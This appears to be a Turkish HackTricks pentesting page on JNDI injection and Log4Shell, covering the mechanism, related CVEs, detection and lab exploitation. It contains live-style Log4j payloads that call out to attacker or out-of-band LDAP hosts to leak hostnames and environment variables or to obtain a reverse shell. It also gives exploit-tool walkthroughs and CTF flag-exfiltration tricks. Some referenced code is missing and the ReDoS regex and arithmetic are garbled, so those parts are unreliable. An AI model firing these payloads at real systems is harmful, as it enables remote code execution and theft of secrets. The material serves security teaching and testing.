JNDI - Java Naming and Directory Interface & Log4Shell
Last updated
Last updated
AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
JNDI, 1990'ların sonlarından beri Java'ya entegre edilmiştir ve Java programlarının bir adlandırma sistemi aracılığıyla veri veya nesneleri bulmasını sağlayan bir dizin hizmeti olarak hizmet eder. Farklı sistemlerden veri alımını sağlayan hizmet sağlayıcı arayüzleri (SPI'ler) aracılığıyla çeşitli dizin hizmetlerini destekler, uzaktaki Java nesneleri dahil. Yaygın SPI'ler arasında CORBA COS, Java RMI Registry ve LDAP bulunmaktadır.
Java nesneleri, iki biçimde gelen JNDI Adlandırma Referansları kullanılarak saklanabilir ve alınabilir:
Referans Adresleri: Bir nesnenin konumunu belirtir (örneğin, rmi://server/ref), belirtilen adresten doğrudan alım yapılmasına olanak tanır.
Uzaktan Fabrika: Bir uzaktan fabrika sınıfına referans verir. Erişim sağlandığında, sınıf uzaktan indirilir ve örneklendirilir.
Ancak, bu mekanizma istismar edilebilir ve potansiyel olarak rastgele kodun yüklenmesine ve çalıştırılmasına yol açabilir. Bir karşı önlem olarak:
RMI: java.rmi.server.useCodeabseOnly = true
JDK 7u21'den itibaren varsayılan olarak, uzaktan nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, yüklenebilecekleri daha da sınırlar.
LDAP: com.sun.jndi.ldap.object.trustURLCodebase = false
JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak, uzaktan yüklenen Java nesnelerinin çalıştırılmasını engeller. true
olarak ayarlandığında, uzaktan kod çalıştırma, bir Güvenlik Yöneticisi'nin denetimi olmadan mümkündür.
CORBA: Belirli bir özelliği yoktur, ancak Güvenlik Yöneticisi her zaman aktiftir.
Ancak, JNDI bağlantılarını çözmekten sorumlu olan Adlandırma Yöneticisi, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına olanak tanıyabilir. Bu, RMI, LDAP ve CORBA korumalarının aşılabileceği ve rastgele Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadgets) istismar edilmesine yol açabileceği bir risk oluşturur.
İstismar edilebilir URL örnekleri şunlardır:
rmi://attacker-server/bar
ldap://attacker-server/bar
iiop://attacker-server/bar
Koruma olmasına rağmen, JNDI'nin güvensiz kaynaklardan yüklenmesine karşı koruma eksikliği ve mevcut korumaların aşılma olasılığı nedeniyle zayıflıklar devam etmektedir.
Bir PROVIDER_URL
ayarlamış olsanız bile, bir arama sırasında farklı birini belirtebilir ve erişim sağlanabilir: ctx.lookup("<attacker-controlled-url>")
ve bu, bir saldırganın kendisinin kontrol ettiği bir sistemden rastgele nesneleri yüklemek için istismar edeceği şeydir.
CORBA (Common Object Request Broker Architecture), uzaktaki nesneleri benzersiz bir şekilde tanımlamak için bir Etkileşimli Nesne Referansı (IOR) kullanır. Bu referans, aşağıdaki gibi temel bilgileri içerir:
Tip Kimliği: Bir arayüz için benzersiz tanımlayıcı.
Kod Tabanı: Stub sınıfını elde etmek için URL.
Özellikle, CORBA doğası gereği savunmasız değildir. Güvenliği sağlamak genellikle şunları içerir:
Bir Güvenlik Yöneticisi kurulumu.
Güvenlik Yöneticisi'nin potansiyel olarak kötü niyetli kod tabanlarına bağlantılara izin verecek şekilde yapılandırılması. Bu, aşağıdakilerle sağlanabilir:
Soket izni, örneğin, permissions java.net.SocketPermission "*:1098-1099", "connect";
.
Kötü niyetli dosyaların yerleştirilebileceği belirli dizinler için evrensel (permission java.io.FilePermission "<<ALL FILES>>", "read";
) veya dosya okuma izinleri.
Ancak, bazı satıcı politikaları varsayılan olarak bu bağlantılara izin verebilir.
RMI (Uzaktan Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, rastgele sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi istismar etmek için genellikle Güvenlik Yöneticisi'ni aşmak gerekir; bu, CORBA'da da geçerlidir.
Öncelikle, bir Arama ile bir Lookup arasında ayrım yapmamız gerekiyor.
Bir arama, ldap://localhost:389/o=JNDITutorial
gibi bir URL kullanarak LDAP sunucusundan JNDITutorial nesnesini bulacak ve özelliklerini alacaktır.
Bir lookup, bir isme bağlı olan her şeyi almak için adlandırma hizmetleri içindir.
Eğer LDAP araması SearchControls.setReturningObjFlag() ile true
olarak çağrıldıysa, döndürülen nesne yeniden yapılandırılacaktır.
Bu nedenle, bu seçenekleri saldırmak için birkaç yol vardır. Bir saldırgan, sistemlerin topladığına yüklenecek yükleri tanıtarak LDAP kayıtlarını zehirleyebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok yararlıdır). Bunu istismar etmenin bir diğer yolu, örneğin bir LDAP aramasında MitM saldırısı gerçekleştirmektir.
Eğer bir uygulamanın bir JNDI LDAP URL'sini çözmesini sağlayabilirseniz, arama yapılacak LDAP'ı kontrol edebilir ve istismarı geri gönderebilirsiniz (log4shell).
istismar serileştirilmiştir ve yeniden serileştirilecektir.
Eğer trustURLCodebase
true
ise, bir saldırgan kendi sınıflarını kod tabanında sağlayabilir; aksi takdirde, sınıf yolundaki gadget'ları istismar etmesi gerekecektir.
Bu LDAP'ı JavaFactory referansları kullanarak saldırmak daha kolaydır:
Zafiyet, Log4j'de, ${prefix:name}
biçiminde bir özel sözdizimi desteklediği için ortaya çıkmaktadır; burada prefix
, name
'in değerlendirileceği farklı Lookup'lar arasında bir tanesidir. Örneğin, ${java:version}
mevcut çalışan Java sürümüdür.
LOG4J2-313 bir jndi
Lookup özelliği tanıttı. Bu özellik, JNDI aracılığıyla değişkenlerin alınmasını sağlar. Genellikle, anahtar otomatik olarak java:comp/env/
ile ön eklenir. Ancak, anahtarın kendisi bir ":" içeriyorsa, bu varsayılan ön ek uygulanmaz.
Anahtar içinde : mevcut olduğunda, ${jndi:ldap://example.com/a}
gibi, hiçbir ön ek yoktur ve LDAP sunucusu nesne için sorgulanır. Bu Lookuplar, hem Log4j yapılandırmasında hem de satırlar kaydedilirken kullanılabilir.
Bu nedenle, RCE elde etmek için gereken tek şey, kullanıcı tarafından kontrol edilen bilgileri işleyen zayıf bir Log4j sürümüdür. Ve bu, Java uygulamaları tarafından bilgi kaydetmek için yaygın olarak kullanılan bir kütüphane olduğu için (İnternet'e açık uygulamalar dahil) log4j'nin, örneğin alınan HTTP başlıkları gibi bilgileri kaydetmesi çok yaygındır. Ancak, log4j yalnızca HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girdi ve veriyi kaydetmek için kullanılmamaktadır.
Bu zafiyet, log4j-core
bileşeninde kritik bir güvensiz serileştirme hatasıdır, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. uzaktan kod çalıştırma (RCE) olanağı tanır ve saldırganların sistemleri ele geçirmesine olanak sağlar. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından rapor edilmiştir ve çeşitli Apache çerçevelerini etkilemektedir. 2.15.0 sürümündeki ilk düzeltme eksikti. Savunma için Sigma kuralları mevcuttur (Kural 1, Kural 2).
Başlangıçta düşük derecelendirilmiş ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'daki eksik bir düzeltmeden kaynaklanan bir Hizmet Reddi (DoS) hatasıdır. Varsayılan olmayan yapılandırmaları etkiler ve saldırganların hazırlanmış yükler aracılığıyla DoS saldırıları gerçekleştirmesine olanak tanır. Bir tweet bir atlatma yöntemini göstermektedir. Sorun, 2.16.0 ve 2.12.2 sürümlerinde mesaj arama desenlerini kaldırarak ve varsayılan olarak JNDI'yi devre dışı bırakarak çözülmüştür.
JMSAppender
kullanan Log4j 1.x sürümlerini etkileyen bu CVE, güvensiz bir serileştirme hatasıdır. 1.x dalı için bir düzeltme mevcut değildir ve log4j-core 2.17.0
sürümüne yükseltilmesi önerilmektedir.
Bu zafiyet, Log4j 1.x'in halefidir olan Logback kayıt çerçevesini etkilemektedir. Daha önce güvenli olduğu düşünülen çerçeve, zayıf olduğu bulunmuş ve sorunu çözmek için daha yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
Log4j 2.16.0, bir DoS hatası içermektedir ve CVE'yi düzeltmek için log4j 2.17.0
yayımlanmıştır. Daha fazla ayrıntı BleepingComputer'ın raporunda bulunmaktadır.
Log4j 2.17 sürümünü etkileyen bu CVE, saldırganın log4j'nin yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel rastgele kod çalıştırma içerir. Daha fazla ayrıntı Checkmarx blog yazısında mevcuttur.
Bu zafiyet, korunmasızsa çok kolay bir şekilde keşfedilebilir çünkü en azından belirttiğiniz adrese bir DNS isteği gönderecektir. Bu nedenle, aşağıdaki gibi yükler:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(canarytokens.com kullanarak)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(interactsh kullanarak)
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(Burp Suite kullanarak)
${jndi:ldap://2j4ayo.dnslog.cn}
(dnslog kullanarak)
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
(huntress kullanarak)
Bir DNS isteği alındığında, bu uygulamanın istismar edilebilir olduğu anlamına gelmez (veya hatta zayıf), bunu istismar etmeyi denemeniz gerekecektir.
2.15 sürümünü istismar etmek için localhost kontrol atlatmasını eklemeyi unutmayın: ${jndi:ldap://127.0.0.1#...}
Kütüphanenin yerel zayıf sürümlerini arayın:
Daha önce listelenen bazı platformlar, talep edildiğinde kaydedilecek bazı değişken verileri eklemenize izin verecektir. Bu, 2 şey için çok faydalı olabilir:
Açığı doğrulamak için
Açığı istismar ederek bilgi sızdırmak için
Örneğin, şöyle bir şey talep edebilirsiniz:
veya ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
gibi ve eğer env değişkeninin değeri ile bir DNS isteği alınırsa, uygulamanın açık olduğunu bilirsiniz.
Denemek isteyebileceğiniz diğer bilgiler:
JDK sürümleri 6u141, 7u131 veya 8u121'in üzerindeki sunucular, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, JNDI'nin LDAP üzerinden uzaktan bir kod tabanı yüklemesini engelleyen com.sun.jndi.ldap.object.trustURLCodebase
'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır. Ancak, bu sürümlerin deserialization saldırı vektörüne karşı korunmadığını belirtmek önemlidir.
Bu daha yüksek JDK sürümlerini istismar etmeyi hedefleyen saldırganlar için, Java uygulaması içinde bir güvenilir alet kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Aksine, daha düşük JDK sürümlerini istismar etmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yükleyip çalıştırmak için manipüle edilebilir.
Daha fazla bilgi için (RMI ve CORBA vektörleri üzerindeki sınırlamalar gibi) önceki JNDI İsimlendirme Referansı bölümüne veya https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ adresine bakın.
Bunu THM kutusunda test edebilirsiniz: https://tryhackme.com/room/solar
marshalsec aracını kullanın (jar sürümü burada mevcuttur). Bu yaklaşım, istismarın barındırılacağı ikincil bir HTTP sunucusuna bağlantıları yönlendirmek için bir LDAP yönlendirme sunucusu kurar:
Hedefi bir ters shell kodu yüklemeye zorlamak için, aşağıdaki içeriğe sahip Exploit.java
adında bir Java dosyası oluşturun:
Java dosyasını bir sınıf dosyasına derlemek için: javac Exploit.java -source 8 -target 8
. Ardından, sınıf dosyasını içeren dizinde bir HTTP sunucusu başlatmak için: python3 -m http.server
komutunu kullanın. marshalsec LDAP sunucusu bu HTTP sunucusunu referans aldığından emin olun.
Hedef web sunucusunda exploit sınıfının çalıştırılmasını tetiklemek için aşağıdaki gibi bir yük gönderin:
Not: Bu istismar, Java'nın LDAP üzerinden uzaktan kod tabanı yüklemeye izin verecek şekilde yapılandırılmasına dayanır. Eğer bu mümkün değilse, rastgele kod yürütme için güvenilir bir sınıfı istismar etmeyi düşünün.
Yazarın log4shell keşfinden sonra bu projeyi github'dan kaldırdığı için bir neden var. https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2 adresinde önbelleğe alınmış bir versiyonunu bulabilirsiniz, ancak yazarın kararına saygı göstermek istiyorsanız bu açığı istismar etmek için farklı bir yöntem kullanın.
Ayrıca, kaynak kodunu wayback makinesinde bulamazsınız, bu yüzden ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmeden jar dosyasını çalıştırın.
Bu örnek için, port 8080'de log4shell için bu savunmasız web sunucusunu çalıştırabilirsiniz: https://github.com/christophetd/log4shell-vulnerable-app (README'de nasıl çalıştırılacağını bulacaksınız). Bu savunmasız uygulama, HTTP istek başlığı X-Api-Version'ın içeriğini log4shell'in savunmasız bir versiyonu ile kaydediyor.
Ardından, JNDIExploit jar dosyasını indirip şu şekilde çalıştırabilirsiniz:
Kodun sadece birkaç dakikasını okuduktan sonra, com.feihong.ldap.LdapServer ve com.feihong.ldap.HTTPServer içinde LDAP ve HTTP sunucularının nasıl oluşturulduğunu görebilirsiniz. LDAP sunucusu hangi yükün sunulması gerektiğini anlayacak ve kurbanı, istismarı sunacak olan HTTP sunucusuna yönlendirecektir. com.feihong.ldap.gadgets içinde, istenen eylemi gerçekleştirmek için kullanılabilecek bazı özel aletler bulabilirsiniz (potansiyel olarak rastgele kod çalıştırmak). Ve com.feihong.ldap.template içinde, istismarları üretecek farklı şablon sınıflarını görebilirsiniz.
Tüm mevcut istismarları java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
ile görebilirsiniz. Bazı yararlı olanlar şunlardır:
Yani, örneğimizde, zaten o docker zayıf uygulamasını çalıştırıyoruz. Onu saldırmak için:
Saldırıları gönderdiğinizde, JNDIExploit-1.2-SNAPSHOT.jar dosyasını çalıştırdığınız terminalde bazı çıktılar göreceksiniz.
Diğer istismar seçenekleri için java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
komutunu kontrol etmeyi unutmayın. Ayrıca, ihtiyacınız olursa, LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.
Önceki istismara benzer şekilde, bu açığı istismar etmek için JNDI-Exploit-Kit kullanmayı deneyebilirsiniz. Kurbanınıza göndermek için URL'leri oluşturmak üzere şu komutu çalıştırabilirsiniz:
Özel olarak üretilmiş bir java nesnesi kullanan bu saldırı, THM solar room gibi laboratuvarlarda çalışacaktır. Ancak, bu genellikle çalışmayacaktır (çünkü varsayılan olarak Java, LDAP kullanarak uzaktan kod tabanı yüklemek için yapılandırılmamıştır) bence çünkü rastgele kod çalıştırmak için güvenilir bir sınıfı istismar etmiyor.
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus çalışabilir JNDI bağlantıları oluşturmak ve RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlamak için başka bir araçtır.\
Bu seçenek, sadece belirli sınıflara güvenen ve herkese güvenmeyen Java sürümlerine saldırmak için gerçekten kullanışlıdır. Bu nedenle, ysoserial, rastgele kod çalıştırmak için kullanılabilecek güvenilir sınıfların serileştirmelerini oluşturmak için kullanılacaktır (ysoserial tarafından istismar edilen güvenilir sınıf, istifanın çalışması için kurban java programı tarafından kullanılmalıdır).
ysoserial veya ysoserial-modified kullanarak JNDI tarafından indirilecek olan deserialization istismarını oluşturabilirsiniz:
JNDI-Exploit-Kit kullanarak, istismar için JNDI bağlantıları oluşturun; burada istismar, savunmasız makinelerden bağlantılar bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulabilen farklı istismarları veya hatta kendi deserialization yüklerinizi (sizin veya ysoserial tarafından oluşturulan) sunabilirsiniz.
Artık oluşturulmuş bir JNDI bağlantısını kullanarak açığı istismar edebilir ve ters shell elde edebilirsiniz, sadece bunu log4j'nin savunmasız bir versiyonuna göndererek: ${ldap://10.10.14.10:1389/generated}
https://github.com/palantir/log4j-sniffer - Yerel zayıf kütüphaneleri bul
Bu CTF yazısı bazı Log4J özelliklerinin istismar edilmesinin nasıl mümkün olduğunu iyi bir şekilde açıklamaktadır.
Log4j'nin güvenlik sayfası bazı ilginç cümleler içermektedir:
2.16.0 sürümünden itibaren (Java 8 için), mesaj arama özelliği tamamen kaldırılmıştır. Yapılandırmadaki aramalar hala çalışmaktadır. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakmaktadır. Yapılandırmadaki JNDI aramaları artık açıkça etkinleştirilmelidir.
2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), yalnızca yapılandırmadaki arama dizeleri özyinelemeli olarak genişletilmektedir; başka bir kullanımda, yalnızca en üst düzey arama çözülür ve herhangi bir iç içe geçmiş arama çözülmez.
Bu, varsayılan olarak herhangi bir jndi
istismarını unutabileceğiniz anlamına gelir. Dahası, özyinelemeli aramalar gerçekleştirmek için bunları yapılandırmanız gerekir.
Örneğin, bu CTF'de bu, log4j2.xml dosyasında yapılandırılmıştı:
Bu CTF 'de saldırgan ${sys:cmd}
değerini kontrol ediyordu ve bir ortam değişkeninden bayrağı dışarıya çıkarması gerekiyordu.
Bu sayfada önceki yükler içinde görüldüğü gibi, ${env:FLAG}
gibi ortam değişkenlerine erişmenin farklı yolları vardır. Bu CTF'de bu işe yaramadı ama diğer gerçek yaşam senaryolarında işe yarayabilir.
CTF'de, log4J kullanarak java uygulamasının stderr'ine erişemediniz, ancak Log4J istisnaları stdout'a gönderilir, bu da python uygulamasında yazdırıldığı anlamına geliyordu. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına geliyordu. Bayrağı dışarıya çıkarmak için bir istisna: ${java:${env:FLAG}}
. Bu, ${java:CTF{blahblah}}
mevcut olmadığından ve bayrak değeriyle bir istisna gösterileceğinden çalışır:
Sadece belirtmek gerekirse, yeni dönüşüm desenleri enjekte edebilir ve stdout
'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:
Bu, hata mesajı içindeki verileri dışarıya çıkarmak için faydalı bulunmadı, çünkü arama dönüşüm deseninden önce çözülmedi, ancak tespit gibi diğer şeyler için faydalı olabilir.
Ancak, bazı regex'leri destekleyen dönüşüm desenlerini kullanarak bir aramadan bilgi dışarıya çıkarmak mümkündür ve ikili arama veya zaman tabanlı davranışları kötüye kullanabilirsiniz.
İstisna mesajları aracılığıyla ikili arama
Dönüşüm deseni %replace
bir dizeden içeriği değiştirmek için regex'leri kullanarak kullanılabilir. Şöyle çalışır: replace{pattern}{regex}{substitution}
Bu davranışı kötüye kullanarak, regex bir şeyle eşleşirse bir istisna tetiklenmesini sağlayabilir (ve bulunamazsa istisna olmaz) şöyle:
Zaman bazlı
Önceki bölümde belirtildiği gibi, %replace
regex'leri destekler. Bu nedenle, bayrağın bulunması durumunda bir timeout oluşturmak için ReDoS sayfasındaki yükü kullanmak mümkündür.
Örneğin, %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
gibi bir yük, o CTF'de bir timeout tetikleyecektir.
Bu yazıda, bir ReDoS saldırısı yerine bir amplification attack kullanarak yanıtın zaman farkını oluşturmuştur:
Eğer bayrak
flagGuess
ile başlıyorsa, tüm bayrak 29#
ile değiştirilir (bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). Sonuçta elde edilen 29#
'nin her biri 54#
ile değiştirilir. Bu işlem 6 kez tekrarlanır ve toplamda29*54*54^6* =`` ``
96816014208
#
!Bu kadar çok
#
'yi değiştirmek, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bu da kullanıcının HTTP durum kodu 500 almasına neden olacaktır. (Eğer bayrakflagGuess
ile başlamıyorsa, 500 dışı bir durum kodu alacağız)
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)